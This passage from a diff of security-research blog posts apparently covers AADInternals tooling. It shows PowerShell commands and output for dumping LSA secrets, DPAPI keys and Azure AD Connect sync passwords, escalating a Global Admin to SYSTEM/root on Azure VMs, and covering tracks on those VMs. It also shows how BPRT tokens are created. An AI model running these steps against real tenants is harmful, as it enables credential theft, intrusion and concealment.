* Roberto Rodriquez: <a href="https://threathunterplaybook.com/library/windows/adfs_dkm_keys.html" target="_blank">Threat Hunter Playbook: Active Directory Federation Services (ADFS) Distributed Key Manager (DKM) Keys</a>
* Ned Pyle (Microsoft): <a href="https://techcommunity.microsoft.com/t5/ask-the-directory-services-team/ad-fs-2-0-claims-rule-language-primer/ba-p/399789" target="_blank">AD FS 2.0 Claims Rule Language Primer</a>
@@ -1,335 +0,0 @@
+++
title = "Decrypting ADSync passwords - my journey into DPAPI"
date = "2020-05-08"
lastmod = "2022-08-29"
categories =["blog"]
tags = ["Azure Active Directory","Active Directory", "Sync", "AADConnect"]
thumbnail = "/images/posts/ADSync.png"
+++
Microsoft changed the location of ADSync encryption keys in Azure AD Connect version 1.4.x. These keys are used to encrypt and decrypt the passwords of "service accounts" used for syncing
data from AD to Azure AD. Earlier versions saved the keys in the registry, but currently, it is using DPAPI. Thus, AADInternals couldn't decrypt the passwords anymore.
Luckily, Dirk-jan Mollema described in his great <a href="https://dirkjanm.io/updating-adconnectdump-a-journey-into-dpapi/" target="_blank">article</a> how the encryption keys
could be extracted and used to decrypt the passwords. Using Dirk-jan's article as a starting point, I decided to implement this to AADInternals.
<!--more-->
# Background
Azure AD Connect synchronises information from on-prem AD to Azure AD. For this purpose, two users are created to AD and one to Azure AD.
One of the on-prem accounts is named as AAD_012345679ab and is used to run the ADSync service (miiserver.exe). The other user is named MSOL_0123456789ab and is used
to perform the actual synchronisation operations.
The user created to Azure AD is named as Sync_XXXX_0123456789ab@company.onmicrosoft.com where XXXX is the name of the server. The postfix (random hex string) is shared with
the on-prem users. The user is given a "Directory synchronisation Accounts" role, which allows it to create, modify, and delete users and set their passwords.
![ADSync users](/images/posts/dpapi_1.png)
As the accounts used for synchronisation have permissions to manipulate users, they need to be protected. Azure AD Connect versions 1.3.x and earlier
saved the keyset in the registry (HKLM\Software\Microsoft\Ad Sync\Shared\). However, since 1.4.x the keyset is protected using DPAPI.
# My DPAPI journey
## What is DPAPI
Let's start by figuring out what DPAPI is. DPAPI stands for Data Protection Application Protection Interface and is a recommended way for protecting secrets in Windows.
## Master keys
DPAPI uses master keys for encrypting and decrypting secrets. User and system master keys are located at:
```
C:\Users\<user name>\AppData\Roaming\Microsoft\Protect\<user SID>\
C:\Windows\System32\Microsoft\Protect\S-1-5-18\
```
In the folder, there are one or more master key files and a file called Preferred.
```
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a-hs- 17/12/2019 13.03 468 a65f05d8-fbac-4787-b984-1174f0becf75
-a-hs- 16/03/2020 10.59 740 ecae2d5a-5af0-484f-8e98-7028a56e76b3
-a-hs- 16/03/2020 10.59 24 Preferred
```
The preferred file contains a guid of the current master key and a time stamp.
```
00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F
00000000 5A 2D AE EC F0 5A 4F 48 8E 98 70 28 A5 6E 76 B3
00000010 60 89 40 23 2A 42 D6 01
```
So, the current master key can be found easily using PowerShell:
{{< highlight powershell >}}
[guid][byte[]]@(0x5A, 0x2D, 0xAE, 0xEC, 0xF0, 0x5A, 0x4F, 0x48, 0x8E, 0x98, 0x70, 0x28, 0xA5, 0x6E, 0x76, 0xB3)
{{< /highlight>}}
```
Guid
----
ecae2d5a-5af0-484f-8e98-7028a56e76b3
```
The actual master key file contains three copies of user's master key: Master Key, Backup Key, and Domain Key.
The **Master Key** is encrypted using a key derived from user's password and SID. The **Domain Key** is encrypted with a **domain backup key**.
## Credentials (secrets)
Although DPAPI can be used to protect any data, with Azure AD Connect, the passwords are stored to AAD_012345679ab user's credential vault.
The user's "vault" is located in two places:
```
C:\Users\<user name>\AppData\Local\Microsoft\Credentials
C:\Users\<user name>\AppData\Roaming\Microsoft\Credentials
```
The credential files contains information, such as the guid of the master key used to encrypt the secret, hashing algorithm, and encryption algorithm.
It also contains the actual encrypted secret, which can be any binary data.
## Getting the ADSync encryption key
The first step to get the encryption key is to locate it. In his article, Dirk-jan says that ADSync service is running as NT SERVICE\ADSync.
However, this seems not to be the case anymore. Instead, the ADSync service is using the AAD_012345679ab user created during the installation.
![ADSync users](/images/posts/dpapi_2.png)
This means that the user's secrets are located at:
```
C:\Users\AAD_2980bcb19aa3\appdata\Local\Microsoft\Credentials
```
There was only one file in the directory, so it had to be the one containing the encryption keyset.
The beginning of the file is dumped below. The bytes 0x24-0x33 contains the master key guid.
```
00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F
00000000 01 00 00 00 90 03 00 00 00 00 00 00 01 00 00 00 ...............
00000010 D0 8C 9D DF 01 15 D1 11 8C 7A 00 C0 4F C2 97 EB Ќß..Ñ.Œz.ÀO—ë
00000020 01 00 00 00 68 D8 3C 02 BE 7E 1A 4B 80 BF 85 B9 ....hØ<.¾~.K€¿…¹
00000030 1C 6F F2 29 00 00 00 20 30 00 00 00 4C 00 6F 00 .oò)... 0...L.o.
00000040 63 00 61 00 6C 00 20 00 43 00 72 00 65 00 64 00 c.a.l. .C.r.e.d.
00000050 65 00 6E 00 74 00 69 00 61 00 6C 00 20 00 44 00 e.n.t.i.a.l. .D.
00000060 61 00 74 00 61 00 0D 00 0A 00 00 00 03 66 00 00 a.t.a........f..
00000070 C0 00 00 00 10 00 00 00 D5 02 39 57 7A A6 B3 FF À.......Õ.9Wz¦³.
00000080 72 16 E0 E7 61 6C A9 DB 00 00 00 00 04 80 00 00 r.àçal©Û.....€..
00000090 A0 00 00 00 10 00 00 00 0D AF 6A AB BC 8C B9 26 ........¯j«¼Œ¹&
```
Again, we can use PowerShell to show the master key guid.
{{< highlight powershell >}}
[guid][byte[]]@(0x68, 0xD8, 0x3C, 0x02, 0xBE, 0x7E, 0x1A, 0x4B, 0x80, 0xBF, 0x85, 0xB9, 0x1C, 0x6F, 0xF2, 0x29)
{{< /highlight>}}
```
Guid
----
023cd868-7ebe-4b1a-80bf-85b91c6ff229
```
Now we also know the location of the user's master key!
## Decrypting the master key
According to Dirk-jan's article, ADSync user's masterkey can be decrypted using a combination of DPAPI userkey and user's SID. So, first we need to get the DPAPI userkey.
**Note:** At this point I figured out that the things required for decrypting the service users' passwords are not possible to implement as PowerShell script.
Therefore, I was forced to create a separate .dll to implement needed code in c# and use those functions from PowerShell. Most of the things are just refactored functionality from Mimikatz.
DPAPI machine key is located in LSA (Local Security Authority) secrets. Physically these are stored in registry at:
```
HKLM:\SECURITY\Policy\Secrets
```
However, the administrator doesn't have access rights to that location. Luckily, I found a way to get needed access.
For short, an administrator can copy a kerberos token from lsass process
and gain LSA rights that way. After this, it was quite straight-forward to retrieve the LSA secrets.
{{< highlight powershell >}}
# Dump the LSA secrets
Get-AADIntLSASecrets
{{< /highlight>}}
```
Name : $MACHINE.ACC
Password : {1, 2, 3, 4...}
PasswordHex : 01020304..
PasswordTxt : 컓噖덭а劈-⌋결
MD4 : {1, 2, 3, 4...}
SHA1 : {1, 2, 3, 4...}
MD4Txt : aabbccdd..
SHA1Txt : aabbccdd..
Name : DPAPI_SYSTEM
Password : {1, 0, 0, 0...}
PasswordHex : 0100000001082277ac85a532018930b782c30b7f2f91f7677e258665f0a016a7c215ceaf29ee1ae17b9f017b9
PasswordTxt : 挌榵
MD4 : {1, 2, 3, 4...}
SHA1 : {1, 2, 3, 4...}
MD4Txt : aabbccdd..
SHA1Txt : aabbccdd..
Name : NL$KM
Password : {1, 2, 3, 4...}
PasswordHex : 01020304..
PasswordTxt : ⬡ꎛ
MD4 : {1, 2, 3, 4...}
SHA1 : {1, 2, 3, 4...}
MD4Txt : aabbccdd..
SHA1Txt : aabbccdd..
Name : _SC_ADSync
Password : {1, 2, 3, 4...}
PasswordHex : 01020304..
PasswordTxt : a5bTiGcvC8fr=E;MQ331IOt/&RP,!m:qjiRXaS;xr4V#6t74;&7mXWoOoz"57K/kKTz#xdBBqb.GDKly
MD4 : {1, 2, 3, 4...}
SHA1 : {1, 2, 3, 4...}
MD4Txt : aabbccdd..
SHA1Txt : aabbccdd..
```
The DPAPI_SYSTEM user has a binary password containing the keys. To ease fetching the DPAPI keys, I also implemented the following function:
{{< highlight powershell >}}
# Get DPAPI keys
Get-AADIntDPAPIKeys
{{< /highlight>}}
```
UserKey UserKeyHex MachineKey MachineKeyHex
------- ---------- ---------- -------------
{16, 130, 39, 122...} 1082277ac85a532018930b782c30b7f2f91f7677 {226, 88, 102, 95...} e258665f0a016a7c215ceaf29ee1ae17b9f017b9
```
At this point, I noticed that _SC_ADSync had a plain-text password. The user had no rights to login normally, so I temporarely moved it to Administrators group.
After that, I was able to login as AAD_012345679ab user with _SC_ADSync password! Thus, as the user was not a virtual account as described in Dirk-jan's post, I implemented
a function to decrypt user's master key with user name, SID, and password.
{{< highlight powershell >}}
# Get user's master key
Get-AADIntUserMasterkeys -UserName AAD_2980bcb19aa3 -Password 'a5bTiGcvC8fr=E;MQ331IOt/&RP,!m:qjiRXaS;xr4V#6t74;&7mXWoOoz"57K/kKTz#xdBBqb.GDKly' -SID "S-1-5-21-xx-xx-xx-xx"
{{< /highlight>}}
```
Name Value
---- -----
023cd868-7ebe-4b1a-80bf-85b... {236, 115, 202, 81...}
```
Later I discovered that also the decryption using system key was needed. But first we need to get the those keys.
{{< highlight powershell >}}
# Dump the LSA keys
Get-AADIntLSABackupKeys
{{< /highlight>}}
```
certificate Name Id Key
----------- ---- -- ---
{48, 130, 3, 0...} RSA 709d861c-56c1-4f8c-94fd-c15a91bbd991 {30, 241, 181, 176...}
Legacy e9ab591b-c25f-432f-97f7-a77e5c998fd3 {226, 180, 14, 151...}
```
Now that we have the LSA keys, we are able to decrypt all master keys!
{{< highlight powershell >}}
# Dump the LSA key
$rsa=Get-AADIntLSABackupKeys | where Name -eq RSA
# Get user's master key
Get-AADIntUserMasterkeys -UserName AAD_2980bcb19aa3 -SID "S-1-5-21-xx-xx-xx-xx" -SystemKey $rsa.Key
{{< /highlight>}}
```
Name Value
---- -----
023cd868-7ebe-4b1a-80bf-85b... {236, 115, 202, 81...}
```
## Decrypting secrets
Now that we know the location of the secrets and we have decrypted the master key, we can decrypt the encryption keys!
{{< highlight powershell >}}
# Get user's master key
$mks = Get-AADIntUserMasterkeys -UserName AAD_2980bcb19aa3 -Password 'a5bTiGcvC8fr=E;MQ331IOt/&RP,!m:qjiRXaS;xr4V#6t74;&7mXWoOoz"57K/kKTz#xdBBqb.GDKly' -SID "S-1-5-21-xx-xx-xx-xx"
# Dump user's secrets
Get-AADIntLocalUserCredentials -UserName AAD_2980bcb19aa3 -MasterKeys $mks
{{< /highlight>}}
```
Target : LegacyGeneric:target=Microsoft_AzureADConnect_KeySet_{6F529078-33BD-448F-A9AF-20D28B1E55DC}_100000
Persistance : local_machine
Edited : 24/04/2020 13.03.18
Alias :
Comment :
UserName : ADSync
Secret : {1, 0, 0, 0...}
SecretTxt : ᔁᇑ窌쀀쉏 鈿鄅俿鮍遤 ˆ MMS_ENCRYPTION_KEYSET_{6F529078-33BD-448F-A9AF-20D28B1E55DC}_100000 昃 À  E䖀ﶽ఍峘ᓗ 耄
SecretTxtUtf8 :  Ќz  ?LOd| M M S _ E N C R Y P T I O N _ K E Y S E T _ { 6 F 5 2 9 0 7 8 - 3 3 B D - 4 4 8 F - A 9 A F - 2 0 D 2 8 B 1 E 5 5
Attributes : {}
```
From the output we can see that we've found the encryption keyset!
## Decrypting ADSync encoding keyset
The closer look to the binary secret reveals that it is also a DPAPI blob, encrypted with an unknown master key.
After searching, I was able to figure out that it was one of the system's master keys! So, next, I needed a way to decrypt them:
{{< highlight powershell >}}
# Dump the LSA key
$rsa=Get-AADIntLSABackupKeys | where Name -eq RSA
# Get system master keys
Get-AADIntSystemMasterkeys -SystemKey $rsa.Key
{{< /highlight>}}
```
Name Value
---- -----
9105923f-ef4c-4fff-8d9b-649... {203, 24, 3, 236...}
```
I already knew that the entropy needed for decrypting the key was located in ADSync configuration database.
{{< highlight powershell >}}
# Dump the key info
Get-AADIntSyncEncryptionKeyInfo
{{< /highlight>}}
```
Name Value
---- -----
InstanceId 299b1d83-9dc6-479a-92f1-2357fc5abfed
Entropy a1c80460-6fe9-4c6f-bf31-d7a34c878dca
```
However, I was unable to decrypt the data with the correct system master key :disappointed: as it always failed with error 0x80090005 (Bad Data).
Finally, I tried to decrypt the data using the native DPAPI <a href="https://docs.microsoft.com/en-us/windows/win32/api/dpapi/nf-dpapi-cryptunprotectdata" target="_blank">CryptProtectData</a> function
with CRYPTPROTECT_LOCAL_MACHINE flag. Profit!
Now, finally, I was able to able to decrypt and extract the encryption key!
{{< highlight powershell >}}
# Get the key info
$key_info = Get-AADIntSyncEncryptionKeyInfo
# Dump the key
Get-AADIntSyncEncryptionKey -Entropy $key_info.Entropy -InstanceId $key_info.InstanceId
{{< /highlight>}}
```
Id Guid CryptAlg Key
-- ---- -------- ---
100000 299b1d83-9dc6-479a-92f1-2357fc5abfed 26128 {4, 220, 54, 13...}
```
## Final solution
As you probably noticed, I didn't implement the decryption of the "service account" passwords. Well, I actually did but those functions are not exported in AADInternals module and thus not available.
Why, you might ask.
The explanation is simple. At some point, I logged in as AAD_012345679ab user and tried if the original AADInternals Get-AADIntSyncCredentials function would work. To my surprise, it worked as a charm!
I wondered why, and ended up into a conclusion that as I was running PowerShell as AAD_012345679ab user, it had access to user's secrets and master keys. So, if it would
be possible to run the PowerShell as AAD_012345679ab user, I could extract the passwords without altering the original code at all.
Then the solution just popped into my mind! If I can get LSA rights by copying the token from the running lsass service, it should work in the similar way with AzureAD miiserver service.
I tried to copy the token as an administrator but it failed with access denied. But, if I first copied the LSA token, I got more rights and was able to copy ADSync token too!
Only problem was that after "elevating" the PowerShell session to AAD_012345679ab user, I was not able access the local configuration database. The solution was to first
open the database once and doing the "elevation" after that. The only downside is that in order to restore the normal rights the PowerShell needs to be restarted.
So, after spending months studying and implementing DPAPI functionality to AADInternals, I didn't even needed those to decrypt the passwords! But learning something new is never a bad thing!
Now you can dump the Azure AD Connect credentials from computer where it is installed.
{{< highlight powershell >}}
# Dump the AD Connect credentials
Get-AADIntSyncCredentials
{{< /highlight>}}
```
Name Value
---- -----
ADDomain company.com
ADUser MSOL_4bc4a34e95fa
ADUserPassword Q9@p(poz{#:kF_G)(s/Iy@8c*9(t;...
AADUser Sync_SRV01_4bc4a34e95fa@company.onmicrosoft.com
AADUserPassword $.1%(lxZ&/kNZz[r
```
With the dumped credentials you can now log in to Azure AD and pretend to be Azure AD Connect.
# Credits
Most of the things I've discussed here are inventions of others:
* Dirk-jan Mollema: <a href="https://dirkjanm.io/updating-adconnectdump-a-journey-into-dpapi/" target="_blank">Updating adconnectdump - a journey into DPAPI</a>
* Benjamin Delpy: <a href="https://github.com/gentilkiwi/mimikatz" target="_blank">Mimikatz source code</a>
* harmj0y: <a href="https://www.harmj0y.net/blog/redteaming/operational-guidance-for-offensive-user-dpapi-abuse/" target="_blank">Operational Guidance for Offensive DPAPI Abuse</a>
* Michael Grafnetter <a href="https://www.dsinternals.com/en/retrieving-dpapi-backup-keys-from-active-directory/" target="_blank">Retrieving DPAPI Backup Keys from Active Directory</a>
@@ -1,223 +0,0 @@
+++
title = "Getting root access to Azure VMs as a Azure AD Global Administrator"
date = "2020-06-04"
lastmod = "2020-06-04"
categories =["blog"]
tags = ["Azure Active Directory","Azure","Virtual Machine","Global Administrator","security"]
thumbnail = "/images/posts/AzureVMs.png"
+++
Sean Metcalf (<a href="https://twitter.com/PyroTek3" target="_blank">@Pyrotek3</a>) organised a great <a href="https://www.trimarcsecurity.com/event-details/securing-office-365-azure-active-directory-defend-your-tenant" target="_blank">webcast</a> at the end of the May 2020.
Among other things, Sean introduced a new (to me, at least) attack-vector where an Azure AD administrator can easily get a system level access to any Azure virtual machine of the organisation.
Naturally, I had to implement this functionality to <a href="/aadinternals target="_blank">AADInternals</a>.
In this blog, using **AADInternals v0.3.3**, I'll show how a Global Administator can gain access to any Azure VM of the organisation.
<!--more-->
# Background
The Microsoft offical **Azure AD** <a href="https://docs.microsoft.com/en-us/azure/active-directory/users-groups-roles/directory-assign-admin-roles#global-administrator--company-administrator" target="_blank">documentation</a>
about **Global Administators** states the following:
> Users with this role have access to all administrative features in Azure Active Directory, as well as services that use Azure Active Directory identities like Microsoft 365 security center, Microsoft 365 compliance center, Exchange Online, SharePoint Online, and Skype for Business Online. The person who signs up for the Azure AD organization becomes a global administrator. There can be more than one global administrator at your company. Global admins can reset the password for any user and all other administrators.
I suppose this is well known by the most of the people working with Office/Microsoft 365. Moreover, there is also an **Azure** <a href="https://docs.microsoft.com/en-us/azure/role-based-access-control/elevate-access-global-admin" target="_blank">documentation</a> stating the following:
> As a Global Administrator in Azure Active Directory (Azure AD), you might not have access to all subscriptions and management groups in your directory.
Sounds great! Global Admins shouldn't have access to Azure resources, such as VMs, as they are supposed to administer just one of the Azure workloads: **Azure AD**. But wait, there is more in the same documentation:
> However, if you are a Global Administrator in Azure AD, **you can assign yourself access to all Azure subscriptions and management groups in your directory**. Use this capability if you don't have access to Azuresubscription resources, such as virtual machines or storage accounts, andyouwant to use your Global Administrator privilege to gain access to those resources.
So.. If you are a Global Administrator and you **want to** gain access to Azure resources, you can do so? Doesn't sound that great anymore!
# Getting access to Azure
The Azure documentation I mentioned above states that:
> When you elevate your access, you will be assigned the User Access Administrator role in Azure at root scope (/). **This allows you to view all resources and assign access in any subscription or management group in the directory**.
In practice, this means that as a Global Administrator of **Azure AD**, you can elevate yourself to **User Access Administrator** of **all Azure subscriptions** of your tenant (or directory, to be more specific).
**User Access Administrator** role allows you to manage access to Azure resources so you'll have the Keys to the Kingdom!
For start, you need a Global Admin account you'd like to elevate. First step is to get an Access Token:
{{< highlight powershell >}}
# Prompt for credentials and save them to a variable (skip this if using MFA)
$cred=Get-Credential
# Get an access token and save it to a variable (omit the credentials if using MFA)
$at=Get-AADIntAccessTokenForAzureCoreManagement -Credentials $cred
{{< /highlight>}}
Next step is to elevate the user to User Access Administrator:
{{< highlight powershell >}}
# Grant Azure User Access Administrator role
Grant-AADIntAzureUserAccessAdminRole -AccessToken $at
{{< /highlight>}}
And that's it!
Now you have access to all Azure subscriptions and you can easily get a list of them. However, you need to get a new Access Token for the changes to take effect:
{{< highlight powershell >}}
# Update the access token and save it to a variable (omit credentials if using MFA)
$at=Get-AADIntAccessTokenForAzureCoreManagement -Credentials $cred
# Get all subscriptions of the current tenant
Get-AADIntAzureSubscriptions -AccessToken $at
{{< /highlight>}}
**Output:**
```
subscriptionId displayName state
-------------- ----------- -----
867ae413-0ad0-49bf-b4e4-6eb2db1c12a0 MyAzure001 Enabled
99fccfb9-ed41-4179-aaf5-93cae2151a77 Pay-as-you-go Enabled
```
# Getting access to VMs
As you now have User Access Management rights to all Azure subscriptions, you can give yourself various rights to Azure resources. In this blog, we are focusing only to Virtual Machines (VMs).
As Sean pointed out in his webcast, one of the most interesting rights (or roles) is **Virtual Machine Contributor**.
According to Microsoft <a href="https://docs.microsoft.com/en-us/azure/role-based-access-control/built-in-roles#virtual-machine-contributor" target="_blank">documentation</a> the Virtual Machine Contributor role:
> Lets you manage virtual machines, **but not access to them**, and not the virtual network or storage account they're connected to.
So, what's the point of getting Virtual Machine Contributor, if you can't access them? Well, although not so well <a href="https://docs.microsoft.com/en-us/azure/virtual-machines/windows/run-command" target="_blank">documented</a>, the role **allows you to <a href="https://docs.microsoft.com/en-us/azure/virtual-machines/windows/run-command" target="_blank">run commands</a> on the VM as a system or root**!
Technically, the scripts are executed by the Azure VM agent installed on all Azure VMs.
**Note!** Unlike the global **User Access Administrator** role, the **Virtual Machine Contributor** is set **per Azure subscription**!
Let's start by giving an access to VMs of one of the subscriptions:
{{< highlight powershell >}}
# Grant Virtual Machine Contributor role to the current user
Set-AADIntAzureRoleAssignment -AccessToken $at -SubscriptionId 867ae413-0ad0-49bf-b4e4-6eb2db1c12a0 -RoleName "Virtual Machine Contributor"
{{< /highlight>}}
**Output:**
```
roleDefinitionId : /subscriptions/867ae413-0ad0-49bf-b4e4-6eb2db1c12a0/providers/Microsoft.Authorization/roleDefinitions/9980e02c-c2be-4d73-94e8-173b1dc7cf3c
principalId : 90f9ca62-2238-455b-bb15-de695d689c12
principalType : User
scope : /subscriptions/867ae413-0ad0-49bf-b4e4-6eb2db1c12a0
createdOn : 2020-06-03T11:29:58.1683714Z
updatedOn : 2020-06-03T11:29:58.1683714Z
createdBy :
updatedBy : 90f9ca62-2238-455b-bb15-de695d689c12
```
Now we can list the VMs to see if there is anything we are interested at. Again, you need to get a new Access Token as the permissions were changed:
{{< highlight powershell >}}
# Update the access token and save it to a variable (omit credentials if using MFA)
$at=Get-AADIntAccessTokenForAzureCoreManagement -Credentials $cred
# List the VMs
Get-AADIntAzureVMs -AccessToken $at -SubscriptionId 867ae413-0ad0-49bf-b4e4-6eb2db1c12a0
{{< /highlight>}}
**Output:**
```
resourceGroup name location id computerName adminUserName vmSize OS
------------- ---- -------- -- ------------ ------------- ------ --
PRODUCTION Client westus c210d38b-3346-41d3-a23d-27988315825b Client AdminUSer Standard_A2_v2 Windows
PRODUCTION DC westus 9b8f8753-196f-4f24-847a-e5bcb751936d DC AdminUSer Standard_DS1_v2 Windows
PRODUCTION Exchange westus a12ffb24-a69e-4ce9-aff3-275f49bba315 Exchange AdminUSer Standard_DS2_v2 Windows
PRODUCTION Server1 westus c7d98db7-ccb5-491f-aaeb-e71f0df478b6 Server1 AdminUSer Standard_DS1_v2 Windows
TEST Server2 eastus ae34dfcc-ad89-4e53-b0b4-20d453bdfcef Server2 AdminUSer Standard_DS1_v2 Windows
TEST Server3 eastus f8f6a7c5-9927-47f9-a790-84c866f5719c Server3 AzureUser Standard_B1ms Linux
```
After giving yourself the Virtual Machine Contributor role, you can now run any script on any of the listed VMs (if they are running).
**Note!** In Windows VMs the scripts are **PowerShell** scripts and in Linux VMs **bash** scripts.
Let's start by running "whoami" on Server2
{{< highlight powershell >}}
# Invoke "whoami" on Server2
Invoke-AADIntAzureVMScript -AccessToken $at -SubscriptionId 867ae413-0ad0-49bf-b4e4-6eb2db1c12a0 -ResourceGroup TEST -Server Server2 -Script "whoami"
{{< /highlight>}}
**Output:**
```
[stdout]
nt authority\system
[stderr]
```
As the output shows, you are actually **running the script as SYSTEM**!
Next, let's run the same script against Server3:
{{< highlight powershell >}}
# Get the Access Token
$at=Get-AADIntAccessTokenForAzureCoreManagement
# Invoke "whoami" on Server3
Invoke-AADIntAzureVMScript -AccessToken $at -SubscriptionId 867ae413-0ad0-49bf-b4e4-6eb2db1c12a0 -ResourceGroup TEST -Server Server3 -Script "whoami" -VMType Linux
{{< /highlight>}}
**Output:**
```
Enable succeeded:
[stdout]
root
[stderr]
```
Same here, you are **running the script as root**!
You can also run multi-line scripts, just use **`n** as a line separator:
{{< highlight powershell >}}
# Invoke multi-line script on Server2
Invoke-AADIntAzureVMScript -AccessToken $at -SubscriptionId 867ae413-0ad0-49bf-b4e4-6eb2db1c12a0 -ResourceGroup PRODUCTION -Server Server2 -Script "whoami`nGet-Process 123123123"
{{< /highlight>}}
**Output:**
```
[stdout]
nt authority\system
[stderr]
Get-Process : Cannot find a process with the name "123123123". Verify the process name and call the cmdlet again.
At C:\Packages\Plugins\Microsoft.CPlat.Core.RunCommandWindows\1.1.5\Downloads\script42.ps1:2 char:1
+ Get-Process 123123123
+ ~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : ObjectNotFound: (123123123:String) [Get-Process], ProcessCommandException
+ FullyQualifiedErrorId : NoProcessFoundForGivenName,Microsoft.PowerShell.Commands.GetProcessCommand
```
# Covering tracks
## Target VMs
The scripts and their results are stored to target VMs. So, don't forget to clean your tracks 🤐
In **Windows**, the scripts and their statuses are stored at the following locations. The scripts are plain-text PowerShell script files and status files are plain-text JSON files.
The **&lt;version&gt;** refers to the version number of the Azure VM agent, and the **&lt;number&gt;** to an automatically increased zero-based index.
```
C:\Packages\Plugins\Microsoft.CPlat.Core.RunCommandWindows\<version>\Downloads\script<number>.ps1
C:\Packages\Plugins\Microsoft.CPlat.Core.RunCommandWindows\<version>\Status\<number>.status
```
In **Linux**, the file structure is a bit different and the locations are the following. All the files are plain-text files. Also here, the **&lt;number&gt;** is an automatically increased zero-based index.
```
/var/lib/waagent/run-command/download/<number>/script.sh
/var/lib/waagent/run-command/download/<number>/stderr
/var/lib/waagent/run-command/download/<number>/stdout
```
## Azure AD and Azure logs
All of the activies performed here are logged to corresponding Azure audit and/or activity logs. Not even Global Administrators are able to clear the logs, so there are always some indications of any rogue activity.
However, AFAIK, elevating yourself to User Access Management is not clearly visible in Azure or Azure AD audit logs. Granting Virtual Machine Contributor rights can be found at Activity log of the Azure subcsription.
Also, running the scripts is logged to activity log, although the contents of the scripts are not logged.
# Summary
As demonstrated, any **Global Administrator** of the Azure AD of Office/Microsoft 365 subscription can easily gain access to all Azure resources of all Azure subscriptions using the same Azure AD.
For most, this is not a very intuitive and should therefore be clearly explained by Microsoft in their customer-facing communication and all documentation.
This is just another reason for **limiting the number Global Admins**! According to Microsoft, there should be <a href="https://docs.microsoft.com/en-us/azure/virtual-machines/windows/run-command" target="_blank">no more than four</a> dedicated Global Administrators.
And **don't forget the MFA!**
# Credits
* Sean Metcalf (<a href="https://twitter.com/PyroTek3" target="_blank">@Pyrotek3</a>): <a href="https://www.hub.trimarcsecurity.com/post/webcast-securing-office-365-and-azure-ad-defend-your-tenant" target="_blank">Webcast: Securing Office 365 and Azure AD Defend Your Tenant</a>
@@ -1,432 +0,0 @@
+++
title = "BPRT unleashed: Joining multiple devices to Azure AD and Intune"
date = "2021-01-31"
lastmod = "2022-09-26"
categories =["blog"]
tags = ["Azure Active Directory","Azure","security","MFA","BPRT"]
thumbnail = "/images/posts/bprt.png"
+++
In October 2020, someone contacted me and asked whether it would be possible
to create BPRTs using AADInternals. I hadn't even heard of BPRTs, but was eventually able to help him to create BPRTs. Now this
functionality is included in **<a href="/aadinternals/" target="_blank">AADInternals</a> v0.4.5**.
In this blog, I'll explain what BPRTs are and how they can be used to join multiple devices to both Azure AD and Intune.
I'll also show the dark side of BPRTs: how they can be used to conduct DOS attacks against Azure AD, and how to detect and prevent this.
<!--more-->
# What is BPRT
BPRT token is a Bulk Primary Refresh Token, sometimes also called "Bulk AAD Token", which is used to enroll multiple devices to Azure AD and Microsoft Endpoint Manager (Intune).
According to Microsoft's bulk device enrollment <a href="https://docs.microsoft.com/en-us/mem/intune/enrollment/windows-bulk-enroll" target="_blank">documentation</a>:
> **As an administrator**, you can join large numbers of new Windows devices to Azure Active Directory and Intune. To bulk enroll devices for your Azure AD tenant, you create a provisioning package with the Windows Configuration Designer (WCD) app.
This implies that in order to create BPRTs, one should be an administrator. However, the documentation also states the following (added after my report in January 2021):
> Creating a provisioning package **does not require any administrator roles** in your Azure AD tenant.
# How to create BPRT token?
## Windows Configuration Designer (WCD)
Lets see how the BPRT is created with an official Microsoft tool, Windows Configuration Designer (WCD), which can be installed from <a href="https://www.microsoft.com/p/windows-configuration-designer/9nblggh4tx22" target="_blank">Microsoft Store</a>.
First, create a new provisioning package:
![Create a new provisioning package](/images/posts/bprt_1.png)
Second, go to **Account management**, select **Enroll in Azure AD** and click **Get Bulk Token**:
![Get Bulk Token](/images/posts/bprt_2.png)
After clicking the button, user is prompted for credentials. If the WCD is not used earlier, an app consent is presented:
![app consent](/images/posts/bprt_3.png)
The status line is shown after the BPRT is fetched. I also noticed that the default user name for an extra local admin account is "ScottLock" 🤔
To see the token, click **Switch to advanced editor**
![status](/images/posts/bprt_4.png)
Expand **Runtime settings** > **Accounts** > **Azure** and click **BPRT**. The token can now be copied (or replaced with the one created with AADInternals).
![BPRT](/images/posts/bprt_5.png)
Now the created provisioning package can be used to join devices automatically to Azure AD.
## AADInternals
Now that we know how to create BPRT token "properly", next step is to learn what happens on the background.
The first step is the authentication and authorisation. The access token was fetched using the client id of Windows Configuration Designer and had the following content (only relevant information shown):
```
aud : urn:ms-drs:enterpriseregistration.windows.net
appid : de0853a1-ab20-47bd-990b-71ad5077ac7b
scp : self_service_device_delete
```
After testing, I was able to confirm that the registration was not bound to WCD client id. This means that other client ids, such as AAD Graph, could be used as long as the resource (audience) is correct.
The audience refers to Device Registration Service (DRS).
Next, a http post was made to:
```
https://login.microsoftonline.com/webapp/bulkaadjtoken/begin
```
The sent payload was the following:
{{< highlight json >}}
{
"pid": "6d762967-8f0f-40cb-8031-1726eb261259",
"name": "package_6d762967-8f0f-40cb-8031-1726eb261259",
"exp": "03/1/2021"
}
{{< /highlight>}}
The used parameters are as follows:
Parameter | Explanation
--- | ---
pid | Package identifier. A random GUID of the package. The resulting user will have an upn in the form "package_&lt;pid>@&lt;default domain>"
name | The display name of the resulting user. Can be any string.
exp | Date of expiration. Must be less than 180 days from the current date.
As a response, a flow token (redacted) and status were returned:
{{< highlight json >}}
{
"flowToken": "AQABAAEAAAD..",
"state": "Started",
"resultData": null
}
{{< /highlight>}}
After this, a http get request was made using the flowToken from the response as a query parameter:
```
https://login.microsoftonline.com/webapp/bulkaadjtoken/poll?flowToken=AQABAAEAAAD..
```
As a response, the BPRT was returned in resultData:
{{< highlight json >}}
{
"flowToken": null,
"state": "CompleteSuccess",
"resultData": "{\"token_type\":\"Bearer\", ...}"
}
{{< /highlight>}}
The resultData contains id token and refresh token for the resulting user. The refresh token is the actual BPRT:
{{< highlight json >}}
{
"token_type": "Bearer",
"expires_in": "2393336",
"ext_expires_in": "0",
"expires_on": "1614556799",
"refresh_token": "0.AAAAxkwDR.AgABAAAAAAD...",
"refresh_token_expires_in": 2393336,
"id_token": "eyJ0e..."
}
{{< /highlight>}}
Now what is this "resulting user" mentioned above you may think. Well, as it turns out, creating a BPRT **creates a user object to Azure AD**!
